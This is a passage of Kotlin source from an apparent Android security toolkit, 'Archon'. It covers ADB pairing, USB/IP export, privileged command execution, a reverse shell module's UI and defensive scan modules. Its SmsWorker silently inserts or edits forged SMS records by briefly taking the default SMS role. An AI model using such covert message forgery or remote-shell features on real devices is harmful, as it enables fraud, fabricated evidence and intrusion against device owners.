Log.i(TAG, "Paired! Waiting for connect service...")
updateNotification(context, "Paired! Waiting for ADB connect service...", ongoing = true)
// Wait for wireless debugging to register the connect service after pairing
Thread.sleep(2000)
// Try to discover and connect with retries
var connectSuccess = false
for (attempt in 1..3) {
Log.i(TAG, "Connect attempt $attempt/3...")
updateNotification(context, "Connecting (attempt $attempt/3)...", ongoing = true)
val connectPort = LocalAdbClient.discoverConnectPort(context, timeoutSec = 8)
if (connectPort != null) {
Log.i(TAG, "Found connect port: $connectPort")
connectSuccess = LocalAdbClient.connect(context, "127.0.0.1", connectPort)
if (connectSuccess) {
Log.i(TAG, "Connected on port $connectPort")
break
}
Log.w(TAG, "Connect failed on port $connectPort")
} else {
Log.w(TAG, "mDNS connect discovery failed (attempt $attempt)")
}
if (attempt < 3) Thread.sleep(2000)
}
if (!connectSuccess) {
Log.w(TAG, "All connect attempts failed")
updateNotification(context, "Paired but connect failed. Open Setup tab and tap START SERVER.", ongoing = false)
return@Thread
}
// Try to start ArchonServer
updateNotification(context, "Connected! Starting Archon Server...", ongoing = true)
val result = ArchonClient.startServer(context)
val msg = if (result.success) {
"Paired + connected + Archon Server running!"
} else {
"Paired + connected! Server: ${result.message}"
}
Log.i(TAG, msg)
updateNotification(context, msg, ongoing = false)
} catch (e: Exception) {
Log.e(TAG, "Pairing error", e)
updateNotification(context, "Error: ${e.message}")
}
}.start()
}
}

View File

@ -0,0 +1,130 @@
package com.darkhal.archon.service
import android.content.BroadcastReceiver
import android.content.ContentValues
import android.content.Context
import android.content.Intent
import android.net.Uri
import android.util.Log
import java.io.File
/**
* Handles covert SMS insert/update from ADB shell broadcasts.
*
* Flow:
* 1. Python backend sets Archon as default SMS app via `cmd role`
* 2. Sends: am broadcast -a com.darkhal.archon.SMS_INSERT -n .../.service.SmsWorker --es address ... --es body ...
* 3. This receiver does ContentResolver.insert() at Archon's UID (which is now the default SMS app)
* 4. Writes result to files/sms_result.txt
* 5. Python reads result via `run-as com.darkhal.archon cat files/sms_result.txt`
* 6. Python restores original default SMS app
*/
class SmsWorker : BroadcastReceiver() {
companion object {
private const val TAG = "SmsWorker"
const val ACTION_INSERT = "com.darkhal.archon.SMS_INSERT"
const val ACTION_UPDATE = "com.darkhal.archon.SMS_UPDATE"
const val RESULT_FILE = "sms_result.txt"
}
override fun onReceive(context: Context, intent: Intent) {
val action = intent.action ?: return
val resultFile = File(context.filesDir, RESULT_FILE)
try {
when (action) {
ACTION_INSERT -> handleInsert(context, intent, resultFile)
ACTION_UPDATE -> handleUpdate(context, intent, resultFile)
else -> resultFile.writeText("ERROR:Unknown action $action")
}
} catch (e: Exception) {
Log.e(TAG, "SMS operation failed", e)
resultFile.writeText("ERROR:${e.message}")
}
}
private fun handleInsert(context: Context, intent: Intent, resultFile: File) {
val address = intent.getStringExtra("address") ?: run {
resultFile.writeText("ERROR:No address"); return
}
val body = intent.getStringExtra("body") ?: run {
resultFile.writeText("ERROR:No body"); return
}
val values = ContentValues().apply {
put("address", address)
put("body", body)
put("date", intent.getLongExtra("date", System.currentTimeMillis()))
put("type", intent.getIntExtra("type", 1))
put("read", intent.getIntExtra("read", 1))
put("seen", 1)
}
val uri = context.contentResolver.insert(Uri.parse("content://sms/"), values)
if (uri != null) {
Log.i(TAG, "SMS inserted: $uri")
resultFile.writeText("SUCCESS:$uri")
} else {
Log.w(TAG, "SMS insert returned null")
resultFile.writeText("FAIL:provider returned null")
}
}
private fun handleUpdate(context: Context, intent: Intent, resultFile: File) {
val smsId = intent.getStringExtra("id") ?: run {
resultFile.writeText("ERROR:No SMS id"); return
}
val values = ContentValues()
intent.getStringExtra("body")?.let { values.put("body", it) }
intent.getStringExtra("address")?.let { values.put("address", it) }
if (intent.hasExtra("type")) values.put("type", intent.getIntExtra("type", 1))
if (intent.hasExtra("read")) values.put("read", intent.getIntExtra("read", 1))
if (intent.hasExtra("date")) values.put("date", intent.getLongExtra("date", 0))
if (values.size() == 0) {
resultFile.writeText("ERROR:Nothing to update"); return
}
val count = context.contentResolver.update(
Uri.parse("content://sms/$smsId"), values, null, null
)
Log.i(TAG, "SMS update: $count rows affected for id=$smsId")
resultFile.writeText("SUCCESS:updated=$count")
}
}
// ── SMS Role stubs ──────────────────────────────────────────────
// These are required for Android to accept Archon as a valid SMS role holder.
// They don't need to do anything — they just need to exist and be declared
// in the manifest with the correct intent filters and permissions.
/** Stub: receives incoming SMS when we're temporarily the default SMS app. */
class SmsDeliverReceiver : BroadcastReceiver() {
override fun onReceive(context: Context, intent: Intent) {
// Intentionally empty — we only hold the SMS role briefly for inserts
}
}
/** Stub: receives incoming MMS when we're temporarily the default SMS app. */
class MmsDeliverReceiver : BroadcastReceiver() {
override fun onReceive(context: Context, intent: Intent) {
// Intentionally empty
}
}
/** Stub: "respond via message" service required for SMS role. */
class RespondViaMessageService : android.app.Service() {
override fun onBind(intent: Intent?): android.os.IBinder? = null
}
/** Stub: SMS compose activity required for SMS role. Immediately finishes. */
class SmsComposeActivity : android.app.Activity() {
override fun onCreate(savedInstanceState: android.os.Bundle?) {
super.onCreate(savedInstanceState)
finish()
}
}

View File

@ -0,0 +1,97 @@
package com.darkhal.archon.service
import com.darkhal.archon.util.PrivilegeManager
import com.darkhal.archon.util.ShellExecutor
import com.darkhal.archon.util.ShellResult
data class UsbDevice(
val busId: String,
val description: String
)
object UsbIpManager {
private const val USBIPD_PROCESS = "usbipd"
/**
* Start USB/IP daemon to export this device's USB gadget over the network.
*/
fun startExport(): ShellResult {
return PrivilegeManager.execute("usbipd -D")
}
/**
* Stop the USB/IP daemon.
*/
fun stopExport(): ShellResult {
return PrivilegeManager.execute("killall $USBIPD_PROCESS")
}
/**
* Check if usbipd is currently running.
*/
fun isExporting(): Boolean {
val result = ShellExecutor.execute("pidof $USBIPD_PROCESS")
return result.exitCode == 0 && result.stdout.isNotEmpty()
}
/**
* Check if the usbip binary is available on this device.
*/
fun isAvailable(): Boolean {
val result = ShellExecutor.execute("which usbip || which usbipd")
return result.exitCode == 0 && result.stdout.isNotEmpty()
}
/**
* List local USB devices that can be exported.
*/
fun listLocalDevices(): List<UsbDevice> {
val result = PrivilegeManager.execute("usbip list -l")
if (result.exitCode != 0) return emptyList()
val devices = mutableListOf<UsbDevice>()
val lines = result.stdout.lines()
for (line in lines) {
val match = Regex("""busid\s+(\S+)\s+\(([^)]+)\)""").find(line)
if (match != null) {
val busId = match.groupValues[1]
val desc = match.groupValues[2]
devices.add(UsbDevice(busId, desc))
}
}
return devices
}
/**
* Bind a local USB device for export.
*/
fun bindDevice(busId: String): ShellResult {
return PrivilegeManager.execute("usbip bind -b $busId")
}
/**
* Unbind a local USB device from export.
*/
fun unbindDevice(busId: String): ShellResult {
return PrivilegeManager.execute("usbip unbind -b $busId")
}
/**
* Get combined USB/IP status.
*/
fun getStatus(): Map<String, Any> {
val available = isAvailable()
val exporting = if (available) isExporting() else false
val devices = if (available) listLocalDevices() else emptyList()
return mapOf(
"available" to available,
"exporting" to exporting,
"device_count" to devices.size,
"devices" to devices.map { mapOf("bus_id" to it.busId, "description" to it.description) }
)
}
}

View File

@ -0,0 +1,278 @@
package com.darkhal.archon.ui
import android.graphics.Color
import android.graphics.drawable.GradientDrawable
import android.os.Bundle
import android.os.Handler
import android.os.Looper
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup
import android.widget.TextView
import androidx.fragment.app.Fragment
import com.darkhal.archon.R
import com.darkhal.archon.service.DiscoveryManager
import com.darkhal.archon.util.PrefsManager
import com.darkhal.archon.util.PrivilegeManager
import com.darkhal.archon.util.ShellExecutor
import com.darkhal.archon.util.SslHelper
import com.google.android.material.button.MaterialButton
import java.net.HttpURLConnection
import java.net.URL
class DashboardFragment : Fragment() {
private lateinit var privilegeStatusDot: View
private lateinit var privilegeStatusText: TextView
private lateinit var serverStatusDot: View
private lateinit var serverStatusText: TextView
private lateinit var wgStatusDot: View
private lateinit var wgStatusText: TextView
private lateinit var outputLog: TextView
// Discovery
private lateinit var discoveryStatusDot: View
private lateinit var discoveryStatusText: TextView
private lateinit var discoveryMethodText: TextView
private lateinit var btnDiscover: MaterialButton
private var discoveryManager: DiscoveryManager? = null
private val handler = Handler(Looper.getMainLooper())
override fun onCreateView(
inflater: LayoutInflater,
container: ViewGroup?,
savedInstanceState: Bundle?
): View {
return inflater.inflate(R.layout.fragment_dashboard, container, false)
}
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
super.onViewCreated(view, savedInstanceState)
// Bind views
privilegeStatusDot = view.findViewById(R.id.privilege_status_dot)
privilegeStatusText = view.findViewById(R.id.privilege_status_text)
serverStatusDot = view.findViewById(R.id.server_status_dot)
serverStatusText = view.findViewById(R.id.server_status_text)
wgStatusDot = view.findViewById(R.id.wg_status_dot)
wgStatusText = view.findViewById(R.id.wg_status_text)
outputLog = view.findViewById(R.id.output_log)
// Discovery views
discoveryStatusDot = view.findViewById(R.id.discovery_status_dot)
discoveryStatusText = view.findViewById(R.id.discovery_status_text)
discoveryMethodText = view.findViewById(R.id.discovery_method_text)
btnDiscover = view.findViewById(R.id.btn_discover)
setupDiscovery()
// Initialize PrivilegeManager and check available methods
val ctx = requireContext()
PrivilegeManager.init(ctx, PrefsManager.getServerIp(ctx), PrefsManager.getWebPort(ctx))
Thread {
val method = PrivilegeManager.getAvailableMethod()
handler.post {
val hasPrivilege = method != PrivilegeManager.Method.NONE
setStatusDot(privilegeStatusDot, hasPrivilege)
privilegeStatusText.text = "Privilege: ${method.label}"
appendLog("Privilege: ${method.label}")
refreshServerStatus()
}
}.start()
// Auto-discover server on launch
startDiscovery()
}
private fun refreshServerStatus() {
Thread {
val serverIp = PrefsManager.getServerIp(requireContext())
val webPort = PrefsManager.getWebPort(requireContext())
// Check WireGuard tunnel
val wgResult = ShellExecutor.execute("ip addr show wg0 2>/dev/null")
val wgUp = wgResult.exitCode == 0 && wgResult.stdout.contains("inet ")
// Check if AUTARCH server is reachable
val serverReachable = if (serverIp.isNotEmpty()) {
probeServer(serverIp, webPort)
} else {
false
}
handler.post {
// WireGuard
setStatusDot(wgStatusDot, wgUp)
wgStatusText.text = if (wgUp) "WireGuard: connected" else "WireGuard: not active"
// Server
if (serverIp.isEmpty()) {
setStatusDot(serverStatusDot, false)
serverStatusText.text = "Server: not configured — tap SCAN or set in Settings"
} else if (serverReachable) {
setStatusDot(serverStatusDot, true)
serverStatusText.text = "Server: $serverIp:$webPort (connected)"
} else {
setStatusDot(serverStatusDot, false)
serverStatusText.text = "Server: $serverIp:$webPort (unreachable)"
}
}
}.start()
}
private fun probeServer(ip: String, port: Int): Boolean {
return try {
val url = URL("https://$ip:$port/")
val conn = url.openConnection() as HttpURLConnection
SslHelper.trustSelfSigned(conn)
conn.connectTimeout = 3000
conn.readTimeout = 3000
conn.requestMethod = "GET"
conn.instanceFollowRedirects = true
val code = conn.responseCode
conn.disconnect()
code in 200..399
} catch (e: Exception) {
false
}
}
private fun setStatusDot(dot: View, online: Boolean) {
val drawable = GradientDrawable()
drawable.shape = GradientDrawable.OVAL
drawable.setColor(if (online) Color.parseColor("#00FF41") else Color.parseColor("#666666"))
dot.background = drawable
}
private fun appendLog(msg: String) {
val current = outputLog.text.toString()
val lines = current.split("\n").takeLast(20)
outputLog.text = (lines + "> $msg").joinToString("\n")
}
// ── Discovery ────────────────────────────────────────────────
private fun setupDiscovery() {
discoveryManager = DiscoveryManager(requireContext())
discoveryManager?.listener = object : DiscoveryManager.Listener {
override fun onServerFound(server: DiscoveryManager.DiscoveredServer) {
val method = when (server.method) {
DiscoveryManager.ConnectionMethod.MDNS -> "LAN (mDNS)"
DiscoveryManager.ConnectionMethod.WIFI_DIRECT -> "Wi-Fi Direct"
DiscoveryManager.ConnectionMethod.BLUETOOTH -> "Bluetooth"
}
setStatusDot(discoveryStatusDot, true)
discoveryStatusText.text = "Found: ${server.hostname}"
discoveryMethodText.text = "via $method"
appendLog("Discovered AUTARCH via $method")
if (server.ip.isNotEmpty() && server.port > 0) {
PrefsManager.setServerIp(requireContext(), server.ip)
PrefsManager.setWebPort(requireContext(), server.port)
appendLog("Auto-configured: ${server.ip}:${server.port}")
// Update PrivilegeManager with new server info
PrivilegeManager.setServerConnection(server.ip, server.port)
refreshServerStatus()
}
}
override fun onDiscoveryStarted(method: DiscoveryManager.ConnectionMethod) {
appendLog("Scanning: ${method.name}...")
}
override fun onDiscoveryStopped(method: DiscoveryManager.ConnectionMethod) {
if (discoveryManager?.getDiscoveredServers()?.isEmpty() == true) {
appendLog("No mDNS/BT response — trying HTTP probe...")
probeLocalSubnet()
}
btnDiscover.isEnabled = true
btnDiscover.text = "SCAN"
}
override fun onDiscoveryError(method: DiscoveryManager.ConnectionMethod, error: String) {
appendLog("${method.name}: $error")
}
}
btnDiscover.setOnClickListener {
startDiscovery()
}
}
private fun startDiscovery() {
setStatusDot(discoveryStatusDot, false)
discoveryStatusText.text = "Scanning network..."
discoveryMethodText.text = "mDNS / Wi-Fi Direct / Bluetooth / HTTP"
btnDiscover.isEnabled = false
btnDiscover.text = "SCANNING..."
discoveryManager?.startDiscovery()
}
private fun probeLocalSubnet() {
Thread {
val port = PrefsManager.getWebPort(requireContext())
val routeResult = ShellExecutor.execute("ip route show default 2>/dev/null")
val gateway = routeResult.stdout.split(" ").let { parts ->
val idx = parts.indexOf("via")
if (idx >= 0 && idx + 1 < parts.size) parts[idx + 1] else null
}
if (gateway == null) {
handler.post {
discoveryStatusText.text = "No AUTARCH server found"
discoveryMethodText.text = "Set server IP in Settings tab"
}
return@Thread
}
val base = gateway.substringBeforeLast(".") + "."
appendLogOnUi("Probing ${base}x on port $port...")
val candidates = mutableListOf<String>()
candidates.add(gateway)
for (i in 1..30) {
val ip = "$base$i"
if (ip != gateway) candidates.add(ip)
}
candidates.addAll(listOf("${base}100", "${base}200", "${base}254"))
val savedIp = PrefsManager.getServerIp(requireContext())
if (savedIp.isNotEmpty() && !savedIp.startsWith("10.1.0.")) {
candidates.add(0, savedIp)
}
for (ip in candidates) {
if (probeServer(ip, port)) {
handler.post {
PrefsManager.setServerIp(requireContext(), ip)
setStatusDot(discoveryStatusDot, true)
discoveryStatusText.text = "Found: AUTARCH"
discoveryMethodText.text = "via HTTP probe ($ip)"
appendLog("Found AUTARCH at $ip:$port (HTTP)")
PrivilegeManager.setServerConnection(ip, port)
refreshServerStatus()
}
return@Thread
}
}
handler.post {
discoveryStatusText.text = "No AUTARCH server found"
discoveryMethodText.text = "Set server IP in Settings tab"
appendLog("HTTP probe: no server found on $base* :$port")
}
}.start()
}
private fun appendLogOnUi(msg: String) {
handler.post { appendLog(msg) }
}
override fun onDestroyView() {
super.onDestroyView()
discoveryManager?.stopDiscovery()
}
}

View File

@ -0,0 +1,61 @@
package com.darkhal.archon.ui
import android.content.Intent
import android.net.Uri
import android.os.Bundle
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup
import android.widget.TextView
import androidx.fragment.app.Fragment
import com.darkhal.archon.R
import com.darkhal.archon.util.PrefsManager
class LinksFragment : Fragment() {
private data class LinkItem(
val cardId: Int,
val path: String
)
private val links = listOf(
LinkItem(R.id.card_dashboard, "/dashboard"),
LinkItem(R.id.card_wireguard, "/wireguard"),
LinkItem(R.id.card_shield, "/android-protect"),
LinkItem(R.id.card_hardware, "/hardware"),
LinkItem(R.id.card_wireshark, "/wireshark"),
LinkItem(R.id.card_osint, "/osint"),
LinkItem(R.id.card_defense, "/defense"),
LinkItem(R.id.card_offense, "/offense"),
LinkItem(R.id.card_settings, "/settings")
)
override fun onCreateView(
inflater: LayoutInflater,
container: ViewGroup?,
savedInstanceState: Bundle?
): View {
return inflater.inflate(R.layout.fragment_links, container, false)
}
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
super.onViewCreated(view, savedInstanceState)
val baseUrl = PrefsManager.getAutarchBaseUrl(requireContext())
// Update server URL label
view.findViewById<TextView>(R.id.server_url_label).text = "Server: $baseUrl"
// Set up click listeners for all link cards
for (link in links) {
view.findViewById<View>(link.cardId)?.setOnClickListener {
openUrl("$baseUrl${link.path}")
}
}
}
private fun openUrl(url: String) {
val intent = Intent(Intent.ACTION_VIEW, Uri.parse(url))
startActivity(intent)
}
}

View File

@ -0,0 +1,306 @@
package com.darkhal.archon.ui
import android.content.Context
import android.graphics.Color
import android.graphics.drawable.GradientDrawable
import android.os.Bundle
import android.os.Handler
import android.os.Looper
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup
import android.widget.TextView
import androidx.appcompat.app.AlertDialog
import androidx.fragment.app.Fragment
import com.darkhal.archon.R
import com.darkhal.archon.module.ModuleManager
import com.darkhal.archon.module.ReverseShellModule
import com.darkhal.archon.server.ArchonClient
import com.darkhal.archon.util.PrivilegeManager
import com.google.android.material.button.MaterialButton
import com.google.android.material.textfield.TextInputEditText
class ModulesFragment : Fragment() {
private lateinit var serverStatusDot: View
private lateinit var serverStatusText: TextView
private lateinit var archonStatusDot: View
private lateinit var archonInfoText: TextView
private lateinit var archonUidText: TextView
private lateinit var inputArchonCmd: TextInputEditText
private lateinit var shieldStatusDot: View
private lateinit var shieldStatusText: TextView
private lateinit var honeypotStatusDot: View
private lateinit var honeypotStatusText: TextView
private lateinit var revshellStatusDot: View
private lateinit var revshellStatusText: TextView
private lateinit var outputLog: TextView
private val handler = Handler(Looper.getMainLooper())
override fun onCreateView(
inflater: LayoutInflater,
container: ViewGroup?,
savedInstanceState: Bundle?
): View {
return inflater.inflate(R.layout.fragment_modules, container, false)
}
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
super.onViewCreated(view, savedInstanceState)
// Bind views
serverStatusDot = view.findViewById(R.id.server_status_dot)
serverStatusText = view.findViewById(R.id.server_status_text)
archonStatusDot = view.findViewById(R.id.archon_status_dot)
archonInfoText = view.findViewById(R.id.archon_info_text)
archonUidText = view.findViewById(R.id.archon_uid_text)
inputArchonCmd = view.findViewById(R.id.input_archon_cmd)
shieldStatusDot = view.findViewById(R.id.shield_status_dot)
shieldStatusText = view.findViewById(R.id.shield_status_text)
honeypotStatusDot = view.findViewById(R.id.honeypot_status_dot)
honeypotStatusText = view.findViewById(R.id.honeypot_status_text)
revshellStatusDot = view.findViewById(R.id.revshell_status_dot)
revshellStatusText = view.findViewById(R.id.revshell_status_text)
outputLog = view.findViewById(R.id.modules_output_log)
// Archon Server buttons
view.findViewById<MaterialButton>(R.id.btn_archon_run).setOnClickListener {
val cmd = inputArchonCmd.text?.toString()?.trim() ?: ""
if (cmd.isEmpty()) {
appendLog("Enter a command to run")
return@setOnClickListener
}
runArchonCommand(cmd)
}
view.findViewById<MaterialButton>(R.id.btn_archon_info).setOnClickListener {
appendLog("Querying server info...")
Thread {
val info = ArchonClient.getServerInfo(requireContext())
handler.post {
if (info != null) {
appendLog("Archon: $info")
archonInfoText.text = "Info: $info"
} else {
appendLog("Archon Server not running")
archonInfoText.text = "Status: not running"
}
}
}.start()
}
view.findViewById<MaterialButton>(R.id.btn_archon_ping).setOnClickListener {
Thread {
val running = ArchonClient.isServerRunning(requireContext())
handler.post {
setStatusDot(archonStatusDot, running)
appendLog(if (running) "Archon: pong" else "Archon: no response")
}
}.start()
}
view.findViewById<MaterialButton>(R.id.btn_archon_packages).setOnClickListener {
runArchonCommand("pm list packages -3")
}
// Shield buttons
view.findViewById<MaterialButton>(R.id.btn_shield_full_scan).setOnClickListener {
runModuleAction("shield", "full_scan", "Full Scan")
}
view.findViewById<MaterialButton>(R.id.btn_shield_scan_packages).setOnClickListener {
runModuleAction("shield", "scan_packages", "Package Scan")
}
view.findViewById<MaterialButton>(R.id.btn_shield_scan_admins).setOnClickListener {
runModuleAction("shield", "scan_device_admins", "Device Admin Scan")
}
view.findViewById<MaterialButton>(R.id.btn_shield_scan_certs).setOnClickListener {
runModuleAction("shield", "scan_certificates", "Certificate Scan")
}
view.findViewById<MaterialButton>(R.id.btn_shield_scan_network).setOnClickListener {
runModuleAction("shield", "scan_network", "Network Scan")
}
// Honeypot buttons
view.findViewById<MaterialButton>(R.id.btn_honeypot_harden).setOnClickListener {
runModuleAction("honeypot", "harden_all", "Harden All")
}
view.findViewById<MaterialButton>(R.id.btn_honeypot_reset_ad).setOnClickListener {
runModuleAction("honeypot", "reset_ad_id", "Reset Ad ID")
}
view.findViewById<MaterialButton>(R.id.btn_honeypot_dns).setOnClickListener {
runModuleAction("honeypot", "set_private_dns", "Private DNS")
}
view.findViewById<MaterialButton>(R.id.btn_honeypot_restrict).setOnClickListener {
runModuleAction("honeypot", "restrict_trackers", "Restrict Trackers")
}
view.findViewById<MaterialButton>(R.id.btn_honeypot_revoke).setOnClickListener {
runModuleAction("honeypot", "revoke_tracker_perms", "Revoke Tracker Perms")
}
// Reverse Shell buttons
view.findViewById<MaterialButton>(R.id.btn_revshell_enable).setOnClickListener {
showRevshellWarnings(0)
}
view.findViewById<MaterialButton>(R.id.btn_revshell_disable).setOnClickListener {
runModuleAction("revshell", "disable", "Disable")
}
view.findViewById<MaterialButton>(R.id.btn_revshell_connect).setOnClickListener {
runModuleAction("revshell", "connect", "Connect")
}
view.findViewById<MaterialButton>(R.id.btn_revshell_disconnect).setOnClickListener {
runModuleAction("revshell", "disconnect", "Disconnect")
}
view.findViewById<MaterialButton>(R.id.btn_revshell_status).setOnClickListener {
runModuleAction("revshell", "status", "Status")
}
// Initialize status
refreshStatus()
}
private fun refreshStatus() {
Thread {
val method = PrivilegeManager.getAvailableMethod()
val archonRunning = ArchonClient.isServerRunning(requireContext())
val serverInfo = if (archonRunning) {
ArchonClient.getServerInfo(requireContext()) ?: "running"
} else {
null
}
val shieldStatus = ModuleManager.get("shield")?.getStatus(requireContext())
val honeypotStatus = ModuleManager.get("honeypot")?.getStatus(requireContext())
val revshellStatus = ModuleManager.get("revshell")?.getStatus(requireContext())
handler.post {
// Server status
val serverActive = method != PrivilegeManager.Method.NONE
setStatusDot(serverStatusDot, serverActive)
serverStatusText.text = when (method) {
PrivilegeManager.Method.ROOT -> "Privilege: Root (su)"
PrivilegeManager.Method.ARCHON_SERVER -> "Privilege: Archon Server"
PrivilegeManager.Method.LOCAL_ADB -> "Privilege: Wireless ADB"
PrivilegeManager.Method.SERVER_ADB -> "Privilege: AUTARCH Remote"
PrivilegeManager.Method.NONE -> "Privilege: none — run Setup first"
}
// Archon Server status
setStatusDot(archonStatusDot, archonRunning)
archonInfoText.text = if (archonRunning) {
"Status: Running ($serverInfo)"
} else {
"Status: Not running — start in Setup tab"
}
// Module status
setStatusDot(shieldStatusDot, shieldStatus?.active == true)
shieldStatusText.text = "Last: ${shieldStatus?.summary ?: "no scan run"}"
setStatusDot(honeypotStatusDot, honeypotStatus?.active == true)
honeypotStatusText.text = "Status: ${honeypotStatus?.summary ?: "idle"}"
setStatusDot(revshellStatusDot, revshellStatus?.active == true)
revshellStatusText.text = "Status: ${revshellStatus?.summary ?: "Disabled"}"
appendLog("Privilege: ${method.label}")
if (archonRunning) appendLog("Archon Server: active")
}
}.start()
}
private fun runArchonCommand(command: String) {
appendLog("$ $command")
Thread {
val method = PrivilegeManager.getAvailableMethod()
if (method == PrivilegeManager.Method.NONE) {
handler.post { appendLog("Error: No privilege method — run Setup first") }
return@Thread
}
val result = PrivilegeManager.execute(command)
handler.post {
if (result.stdout.isNotEmpty()) {
// Show up to 30 lines
val lines = result.stdout.split("\n").take(30)
for (line in lines) {
appendLog(line)
}
if (result.stdout.split("\n").size > 30) {
appendLog("... (${result.stdout.split("\n").size - 30} more lines)")
}
}
if (result.stderr.isNotEmpty()) {
appendLog("ERR: ${result.stderr}")
}
if (result.exitCode != 0) {
appendLog("exit: ${result.exitCode}")
}
}
}.start()
}
private fun runModuleAction(moduleId: String, actionId: String, label: String) {
appendLog("Running: $label...")
Thread {
val result = ModuleManager.executeAction(moduleId, actionId, requireContext())
handler.post {
appendLog("$label: ${result.output}")
for (detail in result.details.take(20)) {
appendLog(" $detail")
}
// Update module status after action
when (moduleId) {
"shield" -> shieldStatusText.text = "Last: ${result.output}"
"honeypot" -> honeypotStatusText.text = "Status: ${result.output}"
"revshell" -> revshellStatusText.text = "Status: ${result.output}"
}
}
}.start()
}
private fun setStatusDot(dot: View, online: Boolean) {
val drawable = GradientDrawable()
drawable.shape = GradientDrawable.OVAL
drawable.setColor(if (online) Color.parseColor("#00FF41") else Color.parseColor("#666666"))
dot.background = drawable
}
private fun appendLog(msg: String) {
val current = outputLog.text.toString()
val lines = current.split("\n").takeLast(30)
outputLog.text = (lines + "> $msg").joinToString("\n")
}
/**
* Show reverse shell safety warnings one at a time.
* After all 3 are accepted, set the warning flag and run the enable action.
*/
private fun showRevshellWarnings(index: Int) {
val warnings = ReverseShellModule.WARNINGS
if (index >= warnings.size) {
// All warnings accepted — set the prefs flag and enable
val prefs = requireContext().getSharedPreferences("archon_revshell", Context.MODE_PRIVATE)
prefs.edit().putBoolean("revshell_warnings_accepted", true).apply()
appendLog("All warnings accepted")
runModuleAction("revshell", "enable", "Enable")
return
}
AlertDialog.Builder(requireContext())
.setTitle("Warning ${index + 1} of ${warnings.size}")
.setMessage(warnings[index])
.setPositiveButton("I Understand") { _, _ ->
showRevshellWarnings(index + 1)
}
.setNegativeButton("Cancel") { _, _ ->
appendLog("Reverse shell enable cancelled at warning ${index + 1}")
}
.setCancelable(false)
.show()
}
}

View File

@ -0,0 +1,231 @@
package com.darkhal.archon.ui
import android.os.Bundle
import android.os.Handler
import android.os.Looper
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup
import android.widget.TextView
import android.widget.Toast
import androidx.fragment.app.Fragment
import com.darkhal.archon.LoginActivity
import com.darkhal.archon.R
import com.darkhal.archon.service.DiscoveryManager
import com.darkhal.archon.util.AuthManager
import com.darkhal.archon.util.PrefsManager
import com.darkhal.archon.util.ShellExecutor
import com.darkhal.archon.util.SslHelper
import com.google.android.material.button.MaterialButton
import com.google.android.material.materialswitch.MaterialSwitch
import com.google.android.material.textfield.TextInputEditText
class SettingsFragment : Fragment() {
private lateinit var inputServerIp: TextInputEditText
private lateinit var inputWebPort: TextInputEditText
private lateinit var inputAdbPort: TextInputEditText
private lateinit var inputUsbipPort: TextInputEditText
private lateinit var switchAutoRestart: MaterialSwitch
private lateinit var statusText: TextView
private val handler = Handler(Looper.getMainLooper())
override fun onCreateView(
inflater: LayoutInflater,
container: ViewGroup?,
savedInstanceState: Bundle?
): View {
return inflater.inflate(R.layout.fragment_settings, container, false)
}
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
super.onViewCreated(view, savedInstanceState)
inputServerIp = view.findViewById(R.id.input_server_ip)
inputWebPort = view.findViewById(R.id.input_web_port)
inputAdbPort = view.findViewById(R.id.input_adb_port)
inputUsbipPort = view.findViewById(R.id.input_usbip_port)
switchAutoRestart = view.findViewById(R.id.switch_settings_auto_restart)
statusText = view.findViewById(R.id.settings_status)
loadSettings()
view.findViewById<MaterialButton>(R.id.btn_save_settings).setOnClickListener {
saveSettings()
}
view.findViewById<MaterialButton>(R.id.btn_auto_detect).setOnClickListener {
autoDetectServer(it as MaterialButton)
}
view.findViewById<MaterialButton>(R.id.btn_test_connection).setOnClickListener {
testConnection()
}
view.findViewById<MaterialButton>(R.id.btn_logout).setOnClickListener {
AuthManager.logout(requireContext())
val intent = android.content.Intent(requireContext(), LoginActivity::class.java)
intent.flags = android.content.Intent.FLAG_ACTIVITY_NEW_TASK or android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK
startActivity(intent)
}
}
private fun loadSettings() {
val ctx = requireContext()
inputServerIp.setText(PrefsManager.getServerIp(ctx))
inputWebPort.setText(PrefsManager.getWebPort(ctx).toString())
inputAdbPort.setText(PrefsManager.getAdbPort(ctx).toString())
inputUsbipPort.setText(PrefsManager.getUsbIpPort(ctx).toString())
switchAutoRestart.isChecked = PrefsManager.isAutoRestartAdb(ctx)
}
private fun saveSettings() {
val ctx = requireContext()
val serverIp = inputServerIp.text.toString().trim()
val webPort = inputWebPort.text.toString().trim().toIntOrNull() ?: 8181
val adbPort = inputAdbPort.text.toString().trim().toIntOrNull() ?: 5555
val usbipPort = inputUsbipPort.text.toString().trim().toIntOrNull() ?: 3240
if (serverIp.isEmpty()) {
statusText.text = "Error: Server IP cannot be empty"
return
}
// Validate IP format (IPv4 or hostname)
if (!isValidIpOrHostname(serverIp)) {
statusText.text = "Error: Invalid IP address or hostname"
return
}
// Validate port ranges
if (webPort < 1 || webPort > 65535) {
statusText.text = "Error: Web port must be 1-65535"
return
}
if (adbPort < 1 || adbPort > 65535) {
statusText.text = "Error: ADB port must be 1-65535"
return
}
PrefsManager.setServerIp(ctx, serverIp)
PrefsManager.setWebPort(ctx, webPort)
PrefsManager.setAdbPort(ctx, adbPort)
PrefsManager.setUsbIpPort(ctx, usbipPort)
PrefsManager.setAutoRestartAdb(ctx, switchAutoRestart.isChecked)
statusText.text = "Settings saved"
Toast.makeText(ctx, "Settings saved", Toast.LENGTH_SHORT).show()
}
private fun isValidIpOrHostname(input: String): Boolean {
// IPv4 pattern
val ipv4 = Regex("""^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$""")
val match = ipv4.matchEntire(input)
if (match != null) {
return match.groupValues.drop(1).all {
val n = it.toIntOrNull() ?: return false
n in 0..255
}
}
// Hostname pattern (alphanumeric, dots, hyphens)
val hostname = Regex("""^[a-zA-Z0-9]([a-zA-Z0-9\-]*[a-zA-Z0-9])?(\.[a-zA-Z0-9]([a-zA-Z0-9\-]*[a-zA-Z0-9])?)*$""")
return hostname.matches(input)
}
private fun autoDetectServer(btn: MaterialButton) {
statusText.text = "Scanning for AUTARCH server..."
btn.isEnabled = false
btn.text = "SCANNING..."
val discovery = DiscoveryManager(requireContext())
